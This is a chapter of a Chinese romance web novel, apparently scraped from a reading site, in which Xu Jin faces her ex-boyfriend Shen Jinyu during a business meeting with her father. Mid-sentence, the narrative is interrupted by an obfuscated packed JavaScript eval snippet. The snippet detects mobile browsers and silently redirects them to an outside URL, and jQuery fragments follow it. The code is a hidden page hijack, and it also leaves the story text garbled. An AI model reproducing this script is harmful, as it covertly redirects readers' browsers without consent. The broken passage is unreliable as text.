沈靳屿正静静盯着她,眼神深晦,嗓音沉缓:“你怎么那么没良心。”
没良心这个词,在她脑海里瞬间嗡嗡作响。
四年前,她铁定了心提分手后,还说了几句话伤了他的自尊,导致他们分手闹得很难看。
当时的他双眼猩红,而后自嘲般地松开了抓在她手臂上的双手,也是说了这句话。
许衿闻言,抬眸问道:“沈靳屿,你又在乱给我扣什么帽子?”
男人深邃的眼窝下,那双细长的双眼微眯,眼底的不耐已经溢于言表。
“坐在我的车上,你就不怕那个男的多想吗?”他冷声道,脸色冷倦。
“还是说你对谁都是这样。”
许衿对他这幅人格分裂的样子已经忍无可忍。
上一秒对他的滤镜在此刻又全然破裂。
许衿微微蹙眉,有些被惹恼了:“和他有什么关系?难道我做什么见不得人的事情了吗?”
不知是不是车内空调的温度问题,许衿觉得气压越来越低。
“既然你这么在意,现在就可以把我送到路边,我自己打车走。”
绿灯在此刻亮起,车一路往前飞驰,方向盘打了个转,连带着轮胎都发出摩擦声。
他还真把车停在了路边。
许衿直接去开车门,车门却还是上锁的状态。
沈靳屿的侧脸线条冷硬,下颚绷紧,深晦的目光落在她的脸上,随后语气危险地用力重复了那个词:“在意?”
许衿此刻被他看的心底有些紧张。
头顶落下一道哂笑,沈靳屿面色露出几分轻嘲,眼底下的暗流深不见底。
“许衿,你不会以为我还对你念念不忘吧?”
“……”
四年前的不欢而散,她本以为两人不会再相遇。
沈靳屿如今事业有成,他也不过把她当作一个普通的前女友。
抛开公司合作方这层关系,他们和陌生人差不多。
所以她怎么可能会这么想。
许衿望向车窗外,无视着他恶劣的语气,“你不用这么想,我从来没这么认为。”
过了两秒,车门的解锁声打破了车内的寂静。
*
纸醉金迷的包厢内交织着喧闹的音乐声。
贺闻开了瓶罗曼尼康帝,没个正形地吹着口哨,倒在了沈靳屿面前的酒杯:“大忙人,怎么一来就摆着个黑脸。失恋了?”
“哪门子的失恋?”沈靳屿的指尖夹着一根烟,明明灭灭的烟雾模糊了他清晰的下颚线。
贺闻摇摇头,意味深长:“我哪会知道呢。”
沈靳屿没搭腔,唇线绷直。
“我还以为你和许衿旧情复燃了呢,结果我回头问了下妹妹,你俩也才刚遇到。”
贺闻口中的妹妹则是沈亦晗。
“而且当时咱吃饭的时候,我可是听到了,一男的给许衿发语音,那换傻子都听得出来是啥意思。”
“……”
“人说不准现在已经有新男友了,许衿那么漂亮,那追她的男的不得一大把。”贺闻说完还不忘看一眼沈靳屿的表情,回他的是一记不善的眼神。
“咳…不过作为朋友,我当然是站在你这的,你们当初在一起那么久,那当然是你在她心里分量更重啊!”
贺闻敲了敲玻璃桌,看似信誓旦旦实则毫无底气。
“分量更重?”沈靳屿掐灭了烟,好整以暇地看着贺闻。
为什么要拿他和别的男人相比。
贺闻又继续道:“不是,难道你心里没有许衿了?”
见沈靳屿不说话,他又瞪大了双眼:
“你们当时分手时的狼狈样我可还记得啊,跟被恶霸欺负的流浪狗一眼。”
沈靳屿喝下了面前的一整杯酒,冷言道:“我怎么可能对她还有感情。”
贺闻点点头,又倒了一杯,“算了,你就嘴硬吧。”
当初爱的死去活来的,沈靳屿有多恋爱脑,他是最清楚的。
*
黑色柯尼塞格行驶在马路上,匿于漫漫长夜中。
海风吹得沈靳屿的黑发有些凌乱,他漫无目的地像是发泄般,开着车绕着海边转了一圈又一圈。
“沈靳屿,我们本来就是没有结果的。”
“或者换句话来说,我的未来从来就没有你的位置。”
“我从来没爱过你,所以放过我好吗?”
沈靳屿靠在驾驶座位上,耷拉着眼皮,指腹却摩挲着一张有些泛黄的拍立得相纸。
相纸里的女孩依偎在他怀里,脸上擒着淡淡的笑,却洋溢着幸福。
在一起时,许衿的情绪总是淡淡的,正如她的人一样。
她不容易被感动,脾气也有些倔,总是给人一种丧丧的感觉。
他无声地发出一声轻笑,心口的酸涩牵扯的他感觉心脏都有些疼。
他本以为,自己是恨许衿的。
许衿骗了他,她是个无情的人。
出国以后,他总是对自己这么说。
可每当想起过去的回忆,心里被激起的片片涟漪又好像在提醒他,他的心里就只有她。
或许爱真的比恨长久。
*
“大E无人机正式发布”的新闻发布会现场,许衿坐在后台休息室里喝着温水。
电视里,许伯年游刃有余的应对着媒体的发言,他的五官犀利,语气却温和平静。
“首先,我应该感谢是我的女儿许衿,大E无人机的三代技术升级都是由她主要研制。”
许伯年在媒体口中不仅是一个成功的企业家,还是一个好父亲。
媒体说,在他的亡妻去世后,尽管许伯年重组了家庭,但他依旧一手托举自己的女儿,把公司重点项目组交给了许衿管理和复杂。
可这难道就能说明他是一个好父亲了吗?
那标准可是低。
他甚至连一个好人都不是。
许衿冷笑一声,拿着玻璃杯的手都有些不稳。
等会议结束后,许伯年在助理和秘书的簇拥下走了过来,“一会应该没什么事了,你可以走了。”
许衿和许伯年四目相对,拿起一旁的手提包起身。
许衿看了眼手机时间,下午三点二十六分。
“许总,许小姐。”一道男声传来。
一位穿着黑色西装,气质精英的男人向许衿伸出一只手,而后表达来意:
“我是沈总的秘书,陈一。”
许伯年闻言,离开的动作微顿。
“关于与云川集团的下一步合作事宜,沈总需要进一步与许小姐和许总展开探讨。”
陈一微微颔首
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099450|195703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不紧不慢说道:
“如果许小姐过一会有空,现在就可以随我一起,沈总已经在办公室了。”
许伯年:“我自己去吧。”
陈一淡笑,语气有些抱歉:“沈总说他和许小姐同一个大学毕业,很是有缘分,聊工作的同时也能和许小姐叙叙旧。”
“……”
许伯年神色有些古怪,但还是点头答应。
*
沈靳屿办公室的落地窗可以俯瞰到整个京城的景色,浓郁的咖啡香气融合进空气里。
许衿注意到不远处的茶几上放着个猫薄荷。
不是说没时间养猫吗,怎么还在办公室里放了猫薄荷。
下一秒,办公室的玻璃门被推开。
磁性低沉的男声传来,“久等了,伯父。”
他长腿阔步地走来,步履从容,自带着沉稳矜贵的气场。
许伯年眉眼温和,向沈靳屿伸手,显然和在许衿面前不是一个面孔,“靳屿。”
许衿不着痕迹地垂下了眸,伸出修长白皙的手,淡淡地投去一个微笑。
沈靳屿回握了她的,两人的手心在彼时交缠,他能感觉到许衿动作的不自然。
没有直接进入工作话题,许伯年先是寒暄地问了下沈靳屿父母的近况。
沈靳屿不紧不慢的回答,双腿交叠坐在对面,说话时眼尾微挑。
“靳屿,我也是刚刚才知道,原来你也是京大的学生。”
沈靳屿:“是,许小姐没和你提起么?”
许伯年:“这孩子有可能是忘记了。”
沈靳屿勾了勾唇角,嘴角挂着一抹意味深长的笑:“忘了吗?许小姐。”
许衿:“我们以前不熟。”
听了这话,许伯年尴尬地抿了口茶,哈哈一声:“大学嘛,人那么多,不认识正常。”
“对了靳屿,我怎么记得你是斯坦福毕业?”
沈靳屿:“大学后面几年去美国交换了。”
许伯年闻言,动作微顿,余光里瞥了一眼许衿,“京大的交换名额很少,我女儿当年也拿到了名额。”
沈靳屿似笑非笑:“这样啊。”
“只是后来有些事,没去成。”
许衿抿了口茶,听到这话有些犯恶心。
当年她拿到了京大的交换名额,是许伯年的再三阻拦,才让她自愿放弃。
她的继母俞卿不知道是听了谁的闲言碎语,回去就和许伯年吹枕边风,说许衿可能是因为男友,所以一起报名了京大出国交换的项目。
换来的结果就是,许伯年这个疯子撕烂了她的护照。
许伯年当然不会知道,俞卿口中的她的男友就是他面前的男人,因为那时的他根本就不在意许衿谈了恋爱,而是她要出国。
电话铃声在此时突兀的响起,许伯年看了眼手机备注,毫不犹豫地挂断。
没过几秒,那通电话又打了过来。
沈靳屿含笑示意:“伯父可以先去接电话。”
许伯年走出办公室后,室内陷入了冷寂。
沈靳屿慢条斯理地拿起盖碗,在许衿面前的茶杯倒了一半时,微微侧头。
乌黑的瞳仁停滞在她的脸上,视线像是要给她盯出一个洞,他笑着道:
“装什么。”
“亲过嘴还算不熟吗?”